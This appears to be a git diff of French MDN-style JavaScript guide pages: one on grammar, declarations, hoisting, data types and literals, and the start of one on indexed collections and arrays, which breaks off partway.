Le texte d'un code source JavaScript est analysé de gauche à droite et est converti en une série d'unités lexicales, de caractères de contrôle, de fins de lignes, de commentaires et de blancs. ECMAScript définit également certains mots-clés et littéraux. Pour plus d'informations, voir la page sur la grammaire lexicale de JavaScript dans la référence JavaScript.

+ +

Commentaires

+ +

La syntaxe utilisée pour les commentaires est la même que celle utilisée par le C++ et d'autres langages :

+ +
// un commentaire sur une ligne
+
+/* un commentaire plus
+   long sur plusieurs lignes
+ */
+
+/* Par contre on ne peut pas /* imbriquer des commentaires */ SyntaxError */
+
+ +
+

Note : Vous pourrez également rencontrer une troisième forme de commentaires au début de certains fichiers JavaScript comme #!/usr/bin/env node. Ce type de commentaire indique le chemin d'un interpréteur JavaScript spécifique pour exécuter le script. Pour plus de détails, voir la page sur les commentaires d'environnement.

+
+ +

Déclarations

+ +

Il existe trois types de déclarations de variable en JavaScript.

+ +
+
{{jsxref("Instructions/var", "var")}}
+
On déclare une variable, éventuellement en initialisant sa valeur.
+
{{jsxref("Instructions/let", "let")}}
+
On déclare une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.
+
{{jsxref("Instructions/const", "const")}}
+
On déclare une constante nommée, dont la portée est celle du bloc courant, accessible en lecture seule.
+
+ +

Variables

+ +

Les variables sont utilisées comme des noms symboliques désignant les valeurs utilisées dans l'application. Les noms des variables sont appelés identifiants. Ces identifiants doivent respecter certaines règles.

+ +

Un identifiant JavaScript doit commencer par une lettre, un tiret bas (_) ou un symbole dollar ($). Les caractères qui suivent peuvent être des chiffres (0 à 9).
+ À noter: puisque Javascript est sensible aux majuscules et minuscules: les lettres peuvent comprendre les caractères de « A » à « Z » (en majuscule) mais aussi les caractères  de « a » à « z » (en minuscule).

+ +

On peut aussi utiliser la plupart lettres Unicode ou ISO 8859-1 (comme å et ü, pour plus de détails, voir ce billet de blog, en anglais) au sein des identifiants. Il est également possible d'utiliser les \uXXXX séquences d'échappement Unicode comme caractères dans les identifiants.

+ +

Voici des exemples d'identifiants valides : Nombre_touches, temp99, $credit, et _nom.

+ +

Déclaration de variables

+ +

Il est possible de déclarer des variables de plusieurs façons :

+ +
    +
  • En utilisant le mot-clé {{jsxref("Instructions/var","var")}}, par exemple : var x = 42. Cette syntaxe peut être utilisée pour déclarer des variables locales ou globales selon le contexte d'exécution.
    • +
  • En utilisant le mot-clé {{jsxref("Instructions/const","const")}} ou le mot-clé {{jsxref("Instructions/let","let")}}, par exemple avec let y = 13. Cette syntaxe peut être utilisée pour déclarer une variable dont la portée sera celle du bloc. Voir le paragraphe sur les portées des variables ci-après.
    • +
+ +

Il est également possible d'affecter une valeur à une variable sans utiliser de mot-clé (ex. x = 42). Cela créera une variable globale non-déclarée. Cette forme génèrera également un avertissement avec le mode strict. Attention, les variables globales non-déclarées peuvent mener à des comportements inattendus et sont considérées comme une mauvaise pratique.

+ +

Évaluation de variables

+ +

Une variable déclarée grâce à l'instruction var ou let sans valeur initiale définie vaudra {{jsxref("undefined")}}.

+ +

Tenter d'accéder à une variable qui n'a pas été déclarée ou tenter d'accéder à un identifiant déclaré avec let avant son initialisation provoquera l'envoi d'une exception {{jsxref("ReferenceError")}}.

+ +
var a;
+console.log("La valeur de a est " + a); // La valeur de a est undefined
+
+console.log("La valeur de b est " + b); // La valeur de b est undefined
+var b; // La déclaration de la variable est "remontée" (voir la section ci-après)
+
+console.log("La valeur de x est " + x); // signale une exception ReferenceError
+let x;
+let y;
+console.log("La valeur de y est " + y); // La valeur de y est undefined
+
+ +

Il est possible d'utiliser undefined pour déterminer si une variable possède une valeur. Dans l'exemple qui suit, la condition de l'instruction if sera validée car la variable n'a pas été initialisée (elle a simplement été déclarée) :

+ +
var input;
+if (input === undefined){
+  faireCeci();
+} else {
+  faireCela();
+}
+
+ +

La valeur undefined se comporte comme le booléen false lorsqu'elle est utilisée dans un contexte booléen. Ainsi, le fragment de code qui suit exécutera la fonction maFonction puisque le premier élément de monTableau n'est pas défini :

+ +
var monTableau = new Array();
+if (!monTableau[0]){
+  maFunction();
+}
+
+ +

La valeur undefined est convertie en {{jsxref("NaN")}} (pour Not a Number : « n'est pas un nombre ») lorsqu'elle est utilisée dans un contexte numérique.

+ +
var a;
+a + 2; // NaN
+ +

Une variable valant null sera toujours considérée comme 0 dans un contexte numérique et comme false dans un contexte booléen. Par exemple, on aura :

+ +
var n = null;
+console.log(n * 32); // Le log affichera 0
+ +

Les portées de variables

+ +

Lorsqu'une variable est déclarée avec var en dehors des fonctions, elle est appelée variable globale car elle est disponible pour tout le code contenu dans le document. Lorsqu'une variable est déclarée dans une fonction, elle est appelée variable locale car elle n'est disponible qu'au sein de cette fonction.

+ +

Avant ECMAScript 2015 (ES6), JavaScript ne définissait pas de portée pour une instruction de bloc ; les éléments du bloc seront locaux pour le code qui contient le bloc (que ce soit une fonction ou le contexte global). Ainsi, l'exemple qui suit affichera 5 car la portée de x est la fonction (ou le contexte global) dans lequel x est déclaré, pas le bloc (correspondant à l'instruction if dans ce cas) :

+ +
if (true) {
+  var x = 5;
+}
+console.log(x); // x vaut 5
+
+ +

La déclaration {{jsxref("Instructions/let","let")}}, introduite avec ECMAScript 2015, ajoute un nouveau comportement :

+ +
if (true) {
+  let y = 5;
+}
+console.log(y); // ReferenceError: y is not defined
+
+ +

Remontée de variables (hoisting)

+ +

Une autre chose peut paraître étrange en JavaScript : il est possible, sans recevoir d'exception, de faire référence à une variable qui est déclarée plus tard. Ce concept est appelé « remontée » (hoisting en anglais) car, d'une certaine façon, les variables sont remontées en haut de la fonction ou de l'instruction. En revanche, les variables qui n'ont pas encore été initialisées renverront la valeur undefined. Ainsi, même si on déclare une variable et qu'on l'initialise après l'avoir utilisée ou y avoir fait référence, la valeur utilisée « la plus haute » sera toujours undefined.

+ +
/**
+ * Exemple 1
+ */
+console.log(x === undefined); // donne "true"
+var x = 3;
+
+/**
+ * Exemple 2
+ */
+// renverra undefined
+var maVar = "ma valeur";
+
+(function () {
+  console.log(maVar); // undefined
+  var maVar = "valeur locale";
+})();
+
+ +

Les exemples précédents peuvent être reformulés plus explicitement ainsi :

+ +
/**
+ * Exemple 1
+ */
+var x;
+console.log(x === undefined); // donne "true"
+x = 3;
+
+/**
+ * Exemple 2
+ */
+var maVar = "ma valeur";
+
+(function () {
+  var maVar;
+  console.log(maVar); // undefined
+  maVar = "valeur locale";
+})();
+
+ +

C'est pourquoi il est conseillé de placer les instructions var dès que possible dans le code. De plus, cette bonne pratique aide à rendre le code plus lisible.

+ +

Avec ECMAScript 2015, let (const) remontera la variable en haut du bloc mais ne l'initialisera pas. Aussi, si on fait référence à la variable dans le bloc avant la déclaration, on obtient une {{jsxref("ReferenceError")}} car la variable est dans une « zone morte temporelle ». entre le début du bloc et le traitement de la déclaration

+ +
function faire_quelquechose() {
+  console.log(toto); // ReferenceError
+  let toto = 2;
+}
+ +

Remontée de fonctions

+ +

En ce qui concerne les fonctions, seules les déclarations de fonctions sont remontées. Pour les expressions de fonctions, il n'y a pas de telle remontée car la variable associée n'a pas encore été affectée avec la valeur finale (comme vu avant) :

+ +
/* Déclaration de fonction */
+toto();  // "truc"
+function toto(){
+  console.log("truc");
+}
+
+/* Expression de fonction */
+machin();      // erreur TypeError : machin n'est pas une fonction
+var machin = function() {
+  console.log("titi");
+}
+
+ +

Les variables globales

+ +

Les variables globales sont en réalité des propriétés de l'objet global. Dans les pages web, l'objet global est {{domxref("window")}}, et on peut donc accéder ou modifier la valeur de variables globales en utilisant la syntaxe suivante : window.variable .

+ +

Ainsi, il est possible d'accéder à des variables déclarées dans une fenêtre ou dans un cadre depuis une autre fenêtre ou depuis un autre cadre (frame) en spécifiant son nom. Si, par exemple, une variable appelée numTéléphone est déclarée dans un document FRAMESET, il est possible d'y faire référence, depuis un cadre fils, avec la syntaxe parent.numTéléphone.

+ +

Constantes

+ +

Il est possible de créer des constantes en lecture seule en utilisant le mot-clé {{jsxref("Instructions/const","const")}}. La syntaxe d'un identifiant pour une constante est la même que pour les variables (elle doit débuter avec une lettre, un tiret du bas, un symbole dollar et peut contenir des caractères numériques, alphabétiques et des tirets bas voire des caractères Unicode).

+ +
const préfixe = '212';
+
+ +

Une constante ne peut pas changer de valeur grâce à une affectation ou être re-déclarée pendant l'exécution du script.

+ +

Les règles de portée des constantes sont les mêmes que pour les variables, à l'exception du mot-clé const qui est obligatoire. S'il est oublié, l'identifiant sera considéré comme celui d'une variable.

+ +

Il est impossible de déclarer une constante avec le même nom qu'une autre variable ou fonction dans la même portée.

+ +
// Renverra une erreur
+function f() {};
+const f = 5;
+
+// Renverra également une erreur
+function f() {
+  const g = 5;
+  var g;
+
+  //instructions
+}
+
+ +

Cependant, les propriétés des objets qui sont affectés comme constantes ne sont pas protégées, on pourra ainsi exécuter sans problème le code suivant :

+ +
const MON_OBJET = {"clé": "valeur"};
+MON_OBJET.clé = "autreValeur";
+ +

De même, le contenu d'un tableau peut être modifié sans alerte :

+ +
const MON_TABLEAU = ["HTML", "CSS"];
+MON_TABLEAU.push("JavaScript");
+console.log(MON_TABLEAU); // ["HTML", "CSS", "JavaScript"]
+
+ +

Structures de données et types

+ +

Types de données

+ +

La dernière version du standard ECMAScript définit sept types de données :

+ +
    +
  • Six types de données primitifs : +
      +
    • Type booléen : true et false.
      • +
    • Type nul (null), un mot-clé spécial pour indiquer une valeur nulle (au sens informatique). JavaScript étant sensible à la casse, null n'est pas Null, NULL, ou toute autre variante.
      • +
    • Un type pour les valeurs indéfinies (undefined).
      • +
    • Un type pour les nombres entiers ou décimaux. Par exemple : 42 ou 3.14159.
      • +
    • Un type pour représenter les grands nombres entiers BigInt, par exemple 9007199254740992n.
      • +
    • Un type pour les chaînes de caractères, une séquence de caractères qui représente une valeur textuelle. Par exemple : "Coucou"
      • +
    • Un type pour les symboles, apparus avec ECMAScript 2015 (ES6). Ce type est utilisé pour représenter des données immuables et uniques.
      • +
    +
    • +
  • et un type pour les objets (Object)
    • +
+ +

Bien que cette description couvre peu de types de données, ceux-ci vous permettent d'implémenter une grande variété de fonctions au sein de vos applications. Les objets et les fonctions sont parmi les briques fondamentales du langage. On peut considérer, à première vue, les objets comme des conteneurs de valeurs et de fonctions pour une application.

+ +

Conversion de types de données

+ +

JavaScript est un langage à typage dynamique. Cela signifie qu'il n'est pas nécessaire de spécifier le type de données d'une variable lors de sa déclaration. Les types de données sont convertis automatiquement durant l'exécution du script. Ainsi, il est possible de définir une variable de cette façon :

+ +
+
var réponse = 42;
+
+
+ +

Et plus tard, d'affecter une chaîne de caractères à cette même variable :

+ +
+
réponse = "Merci pour le dîner...";
+
+
+ +

JavaScript utilisant un typage dynamique, cette dernière instruction ne renverra pas d'erreur.

+ +

Lorsque des expressions impliquent des chaînes de caractères et des valeurs numériques ainsi que l'opérateur +, JavaScript convertit les nombres en chaînes de caractères :

+ +
x = "La réponse est " + 42; // "La réponse est 42"
+y = 42 + " est la réponse"; // "42 est la réponse"
+
+ +

Avec des instructions impliquant d'autres opérateurs, JavaScript ne convertit pas nécessairement les valeurs numériques en chaînes de caractères. Ainsi, on aura :

+ +
"37" - 7; // 30
+"37" + 7; // "377"
+
+ +

Conversion de chaînes de caractères en nombres

+ +

Si un nombre est représenté en mémoire par une chaîne de caractères, il y a des méthodes pour effectuer la bonne conversion :

+ +
    +
  • {{jsxref("Objets_globaux/parseInt", "parseInt()")}}
    • +
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • +
+ +

parseInt renverra uniquement des nombres entiers, étant ainsi inappropriée pour la manipulation de nombre décimaux. Une bonne pratique pour cette fonction est de toujours inclure l'argument qui indique dans quelle base numérique le résultat doit être renvoyé (base 2, base 10...).

+ +
parseInt("101", 2); // 5
+ +

L'opérateur + unaire

+ +

Une autre méthode pour récupérer un nombre à partir d'une chaîne de caractères consiste à utiliser l'opérateur +.

+ +
"1.1" + "1.1" = "1.11.1"
++"1.1" = 1.1 // fonctionne seulement avec le + unaire
+
+ +

Littéraux

+ +

Les littéraux sont utilisés pour représenter des valeurs en JavaScript. Ce sont des valeurs fixes, pas des variables, qui sont fournies littéralement au script. Cette section décrit les différents types de littéraux :

+ + + +

Les littéraux de tableaux

+ +

Un littéral de tableau est une liste de zéro ou plusieurs expressions, dont chacune représente l'élément d'un tableau, encadrées par des crochets ([]). Lorsqu'un tableau est créé à partir d'un littéral, il est initialisé avec les valeurs spécifiées qui sont ses éléments, sa longueur correspondant au nombre d'arguments donnés.

+ +

L'exemple suivant crée ainsi le tableau cafés avec trois éléments et une taille égale à 3 :

+ +
var cafés = ["Brésilien", "Colombien", "Kona"];
+
+ +
+

Note : Un littéral de tableau est du type d'un initialisateur d'objets. Voir l'utilisation d'initialisateurs d'objets.

+
+ +

Si un tableau est créé en utilisant un littéral dans un script du plus haut niveau, JavaScript interprète le tableau chaque fois qu'il évalue l'expression contenant le littéral. De plus, un littéral utilisé dans une fonction est créé chaque fois que la fonction est appelée.

+ +

Les littéraux de tableaux sont également des objets Array. Voir la page sur l'objet Array pour plus de détails.

+ +

Les virgules supplémentaires

+ +

Il n'est pas nécessaire de définir tous les éléments dans un littéral de tableau. Si vous utilisez deux virgules, l'une à la suite de l'autre, le tableau utilisera la valeur undefined pour les éléments non définis. L'exemple qui suit utilise le tableau poisson :

+ +
var poisson = ["Clown", , "Chat"];
+
+ +

Ce tableau possède deux éléments ayant une valeur et un élément vide (poisson[0] vaut "Clown", poisson[1] vaut undefined, et poisson[2] vaut "Chat").

+ +

Si une virgule est ajoutée à la fin de la liste des éléments, elle est ignorée. Dans le prochain exemple, la longueur du tableau est égale à 3. Il n'y a pas d'élément maListe[3]. Les autres virgules indiquent un nouvel élément.

+ +
+

Note : Avec d'anciennes versions de navigateurs, les virgules de fin peuvent causer des erreurs, il est fortement conseillé de les retirer.

+
+ +
var maListe = ['maison', , 'école', ];
+
+ +

Dans l'exemple qui suit, la longueur du tableau est égale à 4 et maListe[0] et maListe[2] sont manquants.

+ +
var maListe = [ , 'maison', , 'école'];
+
+ +

Dans l'exemple qui suit, la longueur du tableau est égale à 4 et maListe[1] et maListe[3] sont manquants.

+ +
var maListe = ['maison', , 'école', , ];
+
+ +

Comprendre le fonctionnement des virgules supplémentaires est important. Cependant, lorsque vous écrivez du code, veillez, dès que c'est possible, à déclarer les éléments manquants avec undefined : cela améliorera la lisibilité de votre code et il sera ainsi plus facile à maintenir.

+ +

Les littéraux booléens

+ +

Le type booléen possède deux valeurs littérales : true et false.

+ +

Il ne faut pas confondre les valeurs true et false du type primitif booléen et les valeurs true et false de l'objet Boolean. L'objet Boolean permet de créer un objet autour du type de donnée booléen. Voir la page sur l'objet Boolean pour plus d'informations.

+ +

Les littéraux numériques

+ +

Les nombres {{jsxref("Number")}} et les grands entiers {{jsxref("BigInt")}} peuvent être exprimés en notation décimale (base 10), hexadécimale (base 16), octale (base 8) et binaire (base 2).

+ +
    +
  • Les littéraux représentant des entiers décimaux sont une suite de chiffres qui ne commence pas par un 0 (zéro)
    • +
  • Un 0 (zéro) en préfixe indique que le littéral est en notation octale. Ces nombres ne peuvent être composés que des chiffres de 0 (zéro) à 7 (sept).
    • +
  • Un préfixe 0x (ou 0X) indique une notation hexadécimale. Les nombres hexadécimaux peuvent être composés de chiffres (0-9) et des lettres A à F (minuscules et majuscules) (la casse d'un caractère ne modifie pas sa valeur : 0xa = 0xA = 10 et 0xf = 0xF = 15).
    • +
  • Un préfixe 0b (ou 0B) indique une notation binaire. Les nombres binaires peuvent être composés de 0 ou de 1 uniquement.
    • +
+ +

Voici des exemples pour ces littéraux :

+ +
0, 117, -345, 123456789123456789n (notation décimale, base 10)
+015, 0001, -077, 0o7777777777777n (notation octale, base 8)
+0x1123, 0x00111, -0xF1A7, 0x123456789ABCDEFn (notation hexadécimale, base 16)
+0b11, 0B0011, -0b11, 0b11101001010101010101n (notation binaire, base 2)
+
+ +

Pour plus d'informations, voir les littéraux numériques dans la grammaire lexicale de JavaScript.

+ +

Les littéraux de nombres décimaux

+ +

Un littéral de nombre décimal peut être composé de ces différentes parties :

+ +
    +
  • Un entier, pouvant être signé (précédé d'un « + » ou d'un « - »),
    • +
  • Un point, séparateur décimal (« . »),
    • +
  • La partie décimale (un autre nombre)
    • +
  • Un exposant.
    • +
+ +

L'exposant est la partie du nombre décimal commençant par un « e » ou un « E », suivie d'un entier pouvant être signé (précédé d'un « + » ou d'un « - »). Un littéral de nombre décimal doit comporter au moins un chiffre et soit un point (séparateur décimal) soit un « e » ou un « E ».

+ +

Des exemples sont : 3.1415, -3.1E12, .1e12, et 2E-12.

+ +

On peut raccourcir cette syntaxe en :

+ +
[(+|-)][chiffres].[chiffres][(E|e)[(+|-)]chiffres]
+
+ +

Par exemple :

+ +
3.14
+2345.789
+.3333333333333333333
+
+ +

Les littéraux d'objets

+ +

Un littéral d'objet - ou 'objet littéral' - est une liste de zéro ou plusieurs propriétés définies par des paires de noms/valeurs. Ces paires sont délimitées par des accolades ({}). N'utilisez pas un tel littéral en début d'instruction. En effet, l'accolade ouvrante sera mal interprétée (début de bloc) et causera une erreur ou un comportement incohérent.

+ +

L'exemple qui suit montre l'utilisation d'un littéral d'objet. Le premier élément de l'objet voiture définit une propriété maVoiture, le deuxième élément : la propriété getVoiture invoque une fonction (carTypes("Honda")), le troisième élément, la propriété special utilise une variable existante (soldes).

+ +
var soldes = "Toyota";
+
+function carTypes(nom) {
+  return (nom === "Honda") ?
+    nom :
+    "Désolé, nous ne vendons pas de " + nom + "." ;
+}
+
+var voiture = { maVoiture: "Saturn", getVoiture: carTypes("Honda"), spécial: soldes };
+
+console.log(voiture.maVoiture);   // Saturn
+console.log(voiture.getVoiture);  // Honda
+console.log(voiture.spécial); // Toyota
+
+ +

Il est également possible d'utiliser un littéral numérique ou un littéral de chaîne de caractères pour désigner le nom d'une propriété ou pour imbriquer un objet dans un autre. L'exemple qui suit illustre cette possibilité :

+ +
var voiture = { plusieursVoitures: {a: "Saab", b: "Jeep"}, 7: "Mazda" };
+
+console.log(voiture.plusieursVoitures.b); // Jeep
+console.log(voiture[7]); // Mazda
+
+ +

Les noms des propriétés d'objets peuvent être n'importe quelle chaîne de caractères, y compris la chaîne vide. Si le nom de la propriété n'est pas un identifiant valide, il faudra qu'il soit placé entre guillemets. Les noms de propriétés qui ne sont pas des identifiants valides ne peuvent pas être utilisés pour accéder à la valeur en utilisant la notation pointée (objet.propriété). En revanche, il est possible d'y accéder avec la notation utilisant les crochets ("[]") comme pour les tableaux.

+ +
var nomsBizarres = {
+  "": "Chaîne vide",
+  "!": "Bang !"
+}
+console.log(nomsBizarres."");   // SyntaxError: Unexpected string
+console.log(nomsBizarres[""]);  // Chaîne vide
+console.log(nomsBizarres.!);    // SyntaxError: Unexpected token !
+console.log(nomsBizarres["!"]); // Bang !
+
+
+ +

Augmentation des littéraux d'objets avec ES2015/ES6

+ +

Avec ES2015, les littéraux d'objets permettent de définir le prototype lors de la construction de l'objet, permettent d'utiliser les affectations en notation raccourcie : toto: toto, de définir des méthodes, d'appeler les méthodes de l'objet parent avec super et d'utiliser des noms de propriétés calculées.

+ +
var obj = {
+    // __proto__
+    __proto__: lePrototypeDeLObjet,
+    // Notation raccourcie pour ‘handler: handler’
+    handler,
+    // Méthodes
+    toString() {
+     // Appelle les méthodes de l'objet parent
+     return "d " + super.toString();
+    },
+    // Noms de propriétés calculés dynamiquement
+    [ 'prop_' + (() => 42)() ]: 42
+};
+ +

Attention :

+ +
var toto = {a: "alpha", 2: "deux"};
+console.log(toto.a);    // alpha
+console.log(toto[2]);   // deux
+//console.log(toto.2);  // Erreur: parenthèse ) manquante après la liste d'argument
+//console.log(toto[a]); // Erreur: a n'est pas défini
+console.log(toto["a"]); // alpha
+console.log(toto["2"]); // deux
+
+ +

Les littéraux d'expressions rationnelles

+ +

Un littéral d'expression rationnelle est un motif encadré par deux barres obliques. Par exemple :

+ +
var re = /ab+c/;
+ +

Les littéraux de chaînes de caractères

+ +

Un littéral de chaîne de caractères consiste en zéro ou plusieurs caractères encadrés par des guillemets droits doubles (") ou des guillemets droits simples ('). Une chaîne de caractères doit être encadrée par des symboles du même type (guillemets droits doubles ou guillemets droits simples) :

+ +
    +
  • "toto"
    • +
  • 'truc'
    • +
  • "1234"
    • +
  • "Une ligne \n une autre ligne"
    • +
  • "Aujourd'hui j'ai mangé une pomme"
    • +
+ +

Il est possible d'utiliser les méthodes de String sur un tel littéral. JavaScript convertira automatiquement le littéral en un objet String, appellera la méthode puis détruira l'objet String. On peut également utiliser la propriété String.length sur un littéral de chaîne de caractère :

+ +
console.log("j'ai mangé une pomme".length)
+// Affichera le nombre de caractères (y compris les blancs).
+// Dans ce cas, 20.
+
+ +

Il est préférable d'utiliser des littéraux de chaînes de caractères s'il n'est pas spécifiquement nécessaire d'utiliser un objet String. Voir la page sur l'objet String pour plus de détails sur les objets String.

+ +

Avec ECMAScript 2015, on peut également utiliser des littéraux sous forme de gabarits (templates) en utilisant le caractère accent grave (`) comme séparateur. Les gabarits de chaînes de caractères sont semblables aux fonctionnalités d'interpolation existantes en Python, Perl, etc. Ces gabarits permettent d'utiliser des balises afin d'adapter la construction de chaînes.

+ +
// Littéral simple pour une chaîne
+`Un saut de ligne '\n' en JavaScript.`
+
+// On peut écrire une chaîne sur plusieurs
+// lignes
+`Dans les gabarits, on peut écrire
+  sur plusieurs lignes. `
+
+// Interpolation de chaîne
+var nom = "Robert", jour = "aujourd'hui";
+`Bonjour ${nom}, comment allez-vous ${jour} ?`
+
+// On peut construire un préfixe HTTP
+// afin de construire plus facilement
+// des requêtes via des substitutions
+POST`http://toto.org/truc?a=${a}&b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "toto": ${toto},
+       "truc": ${truc}}`(myOnReadyStateChangeHandler);
+ +

Utilisation des caractères spéciaux

+ +

En plus des caractères « classiques », il est possible d'insérer des caractères spéciaux dans les chaînes de caractères. Voici un exemple :

+ +
"une ligne \n une autre ligne"
+
+ +

Voici un tableau listant les caractères spéciaux qu'il est possible d'utiliser dans les chaînes de caractères JavaScript :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractères spéciaux en JavaScript
CaractèreSignification
\0Octet null
\bRetour arrière
\fSaut de page
\nNouvelle ligne
\rRetour chariot
\tTabulation
\vTabulation verticale
\'Apostrophe ou guillemet droit simple
\"Guillemet droit double
\\Barre oblique inversée
\XXXLe caractère dont l'encodage Latin-1 est spécifié grâce à, au plus, 3 chiffres octaux XXX entre 0 et 377. \251, par exemple représente le caractère copyright.
\xXXLe caractère dont l'encodage Latin-1 est spécifié par deux chiffres hexadécimaux entre 00 et FF. Ainsi, \xA9 correspond à la séquence hexadécimale pour le caractère copyright.
\uXXXXLe caractère Unicode spécifié par quatre chiffres hexadécimaux XXXX. Ainsi, \u00A9 correspondra à la séquence Unicode du symbole copyright. Voir {{anch("Unicode escape sequences")}}.
\u{XXXXX}Échappement de codes Unicode. Par exemple, \u{2F804} est équivalent à la combinaison d'échappements « simples » \uD87E\uDC04.
+ +

Les caractères d'échappement

+ +

Pour les caractères qui ne font pas partie du tableau précédent, les barres obliques inversées (backslash) les précédant sont ignorées. Cependant, cet usage est obsolète et devrait être évité.

+ +

En précédant d'une barre oblique inversée les guillemets droits doubles, on échappe ces caractères. Voici un exemple :

+ +
var citation = "Il lit \"Bug Jargal\" de V. Hugo.";
+console.log(citation);
+
+ +

Le résultat serait alors

+ +
Il lit "Bug Jargal" de V. Hugo.
+ +

Pour inclure une barre oblique inversée dans une chaîne de caractères, il faut aussi l'échapper. Par exemple, pour stocker le chemin c:\temp dans une chaîne de caractères, on utilisera le code suivant :

+ +
var chemin = "c:\\temp";
+
+ +

Il est également possible d'échapper des sauts de lignes de la même façon. La barre oblique inversée et le saut de ligne seront alors ignorés dans la valeur de la chaîne de caractères.

+ +
var str = "cette chaîne \
+est cassée \
+sur plusieurs \
+lignes."
+console.log(str);   // cette chaîne est cassée sur plusieurs lignes.
+
+ +

Avant ECMAScript 2015 (ES6), JavaScript ne disposait pas d'une syntaxe permettant de traiter les chaînes de caractères comme des contenus de fichier, il est possible d'ajouter un caractère de saut de ligne échappé et un saut de ligne en fin de ligne en utilisant cette façon :

+ +
var poème =
+"Les roses sont rouges,\n\
+Les violettes sont bleues.\n\
+Le miel est sucré,\n\
+Et moi je suis."
+
+ +

Grâce à ES6, on peut utiliser des littéraux de gabarits qui offrent de nouvelles fonctionnalités dont une qui permet d'avoir des chaînes de caractères écrites sur plusieurs lignes :

+ +
var poème =
+`Les roses sont rouges,
+Les violettes sont bleues,
+Le miel est sucré,
+Et moi je suis.`
+ +

En savoir plus

+ +

Ce chapitre est centré sur les bases de la syntaxe, les déclarations et les types utilisés en JavaScript. Pour en savoir plus sur les différents composants du langage, voir les chapitres suivants du guide:

+ + + +

Dans le chapitre suivant, on abordera les structures conditionnelles, permettant de diriger le flux d'instructions et la gestion des erreurs.

+ +

{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}

diff --git a/files/fr/web/javascript/guide/indexed_collections/index.html b/files/fr/web/javascript/guide/indexed_collections/index.html new file mode 100644 index 0000000000..7efda85419 --- /dev/null +++ b/files/fr/web/javascript/guide/indexed_collections/index.html @@ -0,0 +1,425 @@ +--- +title: Collections indexées +slug: Web/JavaScript/Guide/Collections_indexées +tags: + - Array + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Indexed_collections +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}
+ +

Ce chapitre présente les collections de données qui sont ordonnées par un indice. Cela inclue les tableaux et les objets semblables à des tableaux que sont les objets {{jsxref("Array")}} et les objets {{jsxref("TypedArray")}}.

+ +

Le type Array

+ +

Un tableau (array en anglais) est un ensemble ordonné de valeurs auxquelles on peut faire référence avec un nom et un indice. Par exemple, si on a un tableau emp qui contient les noms d'employés indexés par leurs numéros d'employé, on pourrait utiliser emp[1] pour accéder à l'employé n°1, emp[2] pour accéder au deuxième et ainsi de suite.

+ +

JavaScript ne possède pas de type particulier pour représenter un tableau de données. En revanche, il est possible d'utiliser l'objet natif Array ainsi que ses méthodes pour manipuler des tableaux. L'objet Array possède plusieurs méthodes qui permettent de manipuler les tableaux pour les fusionner, les inverser, les trier, etc. Il possède une propriété de longueur ainsi que d'autres propriétés qui peuvent être utilisées avec les expressions rationnelles.

+ +

Créer un tableau

+ +

Les instructions qui suivent sont équivalentes et permettent de créer le même tableau :

+ +
var arr = new Array(élément0, élément1, ..., élémentN);
+var arr = Array(élément0, élément1, ..., élémentN);
+var arr = [élément0, élément1, ..., élémentN];
+
+ +

élément0, élément1, ..., élémentN est une liste de valeurs qui formeront les éléments du tableau. Lorsque ces valeurs sont définies, le tableau initialisera la valeur des éléments correspondants. La propriété length du tableau permet de connaître le nombre d'arguments du tableau.

+ +

Parmi les instructions précédentes, une utilise des crochets, on appelle ceci un « littéral de tableau » ou un « initialisateur de tableau ». Cette notation est plus courte que les autres et est souvent préférée pour sa lisibilité. Pour plus d'informations sur cette notation, voir la page sur les littéraux de tableaux pour plus détails.

+ +

Afin de créer un tableau de longueur non nulle mais sans aucun élément initialisé, on peut utiliser l'une des deux instructions suivantes :

+ +
var arr = new Array(longueurTableau);
+var arr = Array(longueurTableau);
+
+// Cela aura le même effet que :
+var arr = [];
+arr.length = longueurTableau;
+
+ +
+

Note : Dans le code ci-dessus longueurTableau doit être un nombre. Si ce n'est pas le cas, un tableau d'un seul élément (ayant la valeur fournie) sera créé. arr.length renverra longueurTableau, mais le tableau ne contiendra que des éléments « vides » non définis. Si on utilise une boucle {{jsxref("Instructions/for...in")}} sur ce tableau, on ne trouvera aucun élément.

+
+ +

On a vu comment créer un tableau, il est aussi possible d'affecter des tableaux à des propriétés d'objets (que ce soit lors de leur création ou pour les modifier) :

+ +
var obj = {};
+// ...
+obj.prop = [élément0, élément1, ..., élémentN];
+
+// OU
+var obj = {prop: [élément0, élément1, ...., élémentN]}
+
+ +

Si on souhaite initialiser un tableau avec un seul élément et que cet élément est un nombre, il est nécessaire d'utiliser la notation littérale. En effet, si un nombre est passé à la fonction Array() pour construire le tableau, celui-ci sera interprété comme une longueur et non comme la valeur d'un élément.

+ +
var arr1 = [42];      // Le tableau créé contient bien un élément qui vaut 42
+var arr2 = Array(42); // Crée un tableau sans élément
+                      // mais dont arr.length vaut 42
+
+// Le code ci-dessus est équivalent à
+var arr = [];
+arr.length = 42 ;
+
+ +

Si N est un nombre décimal dont la partie fractionnaire n'est pas nulle, tout appel à Array(N) renverra une exception RangeError. Par exemple :

+ +
var arr = Array(9.3);  // RangeError: Invalid array length
+
+ +

Si on souhaite créer un tableau d'un seul élément et ce quel que soit le type de données, il sera préférable d'utiliser les littéraux de tableaux. Sinon, on peut créer un tableau vide puis lui ajouter un seul élément.

+ +

Avec ES2015 (anciennement ECMAScript 6), on peut utiliser la méthode {{jsxref("Array.of")}} afin de créer un tableau composé d'un seul élément :

+ +
let monTableau = Array.of("Joconde"); // monTableau contient uniquement "Joconde"
+ +

Remplir un tableau

+ +

Il est possible de remplir un tableau en affectant des valeurs à ses éléments. Par exemple :

+ +
var emp = [];
+emp[0] = "Casey Jones";
+emp[1] = "Phil Lesh";
+emp[2] = "August West";
+
+ +
+

Note : Si on utilise une valeur non entière pour désigner un élément du tableau, cela créera une propriété sur l'objet plutôt qu'un élément du tableau :

+ +
var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+
+
+ +

